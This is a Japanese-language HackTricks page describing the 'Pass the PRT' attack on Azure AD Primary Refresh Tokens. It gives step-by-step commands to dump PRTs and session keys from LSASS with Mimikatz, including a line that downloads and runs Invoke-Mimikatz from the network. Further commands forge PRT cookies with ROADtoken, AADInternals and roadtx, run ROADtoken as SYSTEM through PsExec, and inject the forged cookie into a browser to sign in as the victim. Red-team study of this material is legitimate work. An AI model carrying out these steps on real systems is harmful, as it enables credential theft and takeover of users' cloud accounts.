Az - Pass the PRT

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学びましょう

HackTricksをサポートする他の方法:

PRTとは何ですか

pageAz - Primary Refresh Token (PRT)

PRTを持っているかどうかを確認します

Dsregcmd.exe /status

PRT クッキー

PRT クッキーは実際には x-ms-RefreshTokenCredential と呼ばれ、JSON Web トークン(JWT)です。JWT には 3つの部分ヘッダーペイロード署名 が含まれており、. で区切られ、すべて URL セーフな base64 エンコードされています。典型的な PRT クッキーには、以下のヘッダーと本文が含まれています。

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

実際の**プライマリリフレッシュトークン(PRT)は、Azure ADの管理下にあるキーによって暗号化されたrefresh_token内にカプセル化されており、その内容は不透明で解読不能です。is_primary**フィールドは、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされたままであることを確認するために、request_noncelogon.microsoftonline.comページから送信されます。

TPMを使用したPRT Cookieフロー

LSASSプロセスはKDFコンテキストをTPMに送信し、TPMはセッションキー(AzureADに登録されたときに収集され、TPMに保存された)と前のコンテキストを使用してキーを派生し、この派生キーを使用してPRTクッキー(JWT)を署名します。

KDFコンテキストはAzureADからのノンスとPRTがJWTを作成し、コンテキスト(ランダムバイト)と混合されたものです。

したがって、TPM内にPTRがあるため抽出できなくても、LSASSを悪用して新しいコンテキストから派生キーを要求し、生成されたキーを使用してクッキーに署名することが可能です。

PRTの悪用シナリオ

通常のユーザーとして、LSASSにSSOデータを要求することが可能です。 これは、ネイティブアプリWeb Account Manager(トークンブローカー)からトークンを要求するように行うことができます。WAMはリクエストをLSASSに渡し、LSASSは署名されたPRTアサーションを使用してトークンを要求します。また、ブラウザベース(Web)フローでは、PRTクッキーヘッダーとして使用され、Azure ASログインページへのリクエストの認証に使用されます。

SYSTEMとしては、TPMによって保護されていない場合はPRTを盗むか、暗号APIを使用してLSASS内のPRTキーとやり取りすることができます。

PRTの渡し攻撃の例

攻撃 - ROADtoken

この方法についての詳細はこの投稿を参照してください。ROADtokenは、BrowserCore.exeを適切なディレクトリから実行し、それを使用してPRTクッキーを取得します。このクッキーは、ROADtoolsを使用して認証し、永続的なリフレッシュトークンを取得するために使用できます。

有効なPRTクッキーを生成するためには、最初にノンスが必要です。 これは次のようにして取得できます:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

または、roadreconを使用する:

roadrecon auth prt-init

次に、新しいPRTを取得するためにroadtokenを使用できます(ユーザーのプロセスから攻撃を実行するためにツールを実行します):

.\ROADtoken.exe <nonce>

以下は、PRTを渡す方法についての情報です。PRTを取得するためには、Azure ADのデバイス登録情報を使用して、デバイスコンテキストで認証を行う必要があります。これにより、クラウド上の権限を使用してオンプレミスネットワークにアクセスできます。

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

次に、生成されたクッキーを使用して、Azure AD GraphまたはMicrosoft Graphを使用してログインするためのトークンを生成できます:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

攻撃 - roadrecon を使用

攻撃 - AADInternals と漏洩した PTR を使用

Get-AADIntUserPRTToken は、Azure AD に参加しているかハイブリッドに参加しているコンピュータからユーザーの PRT トークンを取得します。BrowserCore.exe を使用して PRT トークンを取得します。

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

また、Mimikatzから値を取得している場合は、AADInternalsを使用してトークンを生成することもできます:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

https://login.microsoftonline.comに移動し、login.microsoftonline.comのすべてのクッキーを削除して新しいクッキーを入力します。

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

次に、https://portal.azure.com に移動してください。

残りの手順はデフォルトのままにしてください。ページを更新してもクッキーが消えないことを確認してください。もし消えてしまった場合は、間違いがある可能性があり、手順をやり直す必要があります。消えない場合は、問題ありません。

攻撃 - Mimikatz

手順

  1. LSASS (Local Security Authority Subsystem Service) から PRT (Primary Refresh Token) が抽出され、後続の使用のために保存されます。

  2. 次に、セッションキーが抽出されます。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPI マスターキーを使用して復号する必要があります。DPAPI (Data Protection API) に関する詳細情報は、次のリソースで見つけることができます: HackTricks およびその適用については、Pass-the-cookie attack を参照してください。

  3. セッションキーの復号後、PRT の派生キーとコンテキストが取得されます。これらは、PRT クッキーの作成に不可欠です。具体的には、派生キーは、クッキーを構成する JWT (JSON Web Token) に署名するために使用されます。このプロセスの包括的な説明は、Dirk-jan によって提供されており、こちら でアクセスできます。

PRT が TPM 内にあり、lsass 内にない場合、mimikatz はそれを抽出できません。 ただし、TPM から派生キーを取得し、それを使用してクッキーに署名することが可能です(オプション 3 を確認してください)。

これらの詳細を抽出するために実行されたプロセスの詳細な説明は、こちらで見つけることができます: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

2021年8月以降の修正により、他のユーザーの PRT トークンを取得することはできなくなりました(ローカル管理者は他のユーザーの PRT にアクセスできませんが、自分の PRT にはアクセスできます)が、自分の PRT にはアクセスできます。

mimikatz を使用して PRT を抽出できます:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Prtとラベルされた部分をコピーして保存します。 また、以下でハイライトされている**ProofOfPossesionKeyフィールドのKeyValue**(セッションキー)も抽出します。これは暗号化されており、DPAPIマスターキーを使用して復号する必要があります。

PRTデータが表示されない場合は、デバイスがAzure ADに参加していないか、Windows 10の古いバージョンを実行している可能性があります。

セッションキーを復号化するには、DPAPIマスターキーを使用して復号するために権限を昇格してSYSTEMで実行する必要があります。次のコマンドを使用してください:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

オプション1 - フルMimikatz

  • 今、あなたは両方のコンテキスト値をコピーしたいと思います:

  • そして導出されたキー値:

  • 最後に、この情報をすべて使用してPRTクッキーを生成できます:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

残りの手順はデフォルトのままにしてください。ページを更新してもクッキーが消えないことを確認してください。もし消えてしまった場合は、何か間違いがある可能性があり、手順をやり直す必要があります。消えない場合は、問題ありません。

オプション2 - PTRを使用したroadrecon

  • まずPRTを更新し、それを roadtx.prt に保存します:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • これで、roadtx browserprtauth を使用してインタラクティブブラウザから トークンをリクエスト できます。roadtx describe コマンドを使用すると、アクセス トークンには MFA クレームが含まれていることがわかります。なぜなら、この場合に使用した PRT にも MFA クレームが含まれていたからです。

roadtx browserprtauth
roadtx describe < .roadtools_auth

オプション3 - 派生キーを使用したroadrecon

mimikatzによってダンプされたコンテキストと派生キーを持っていると、roadreconを使用して新しい署名付きクッキーを生成することが可能です:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

参考文献

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

最終更新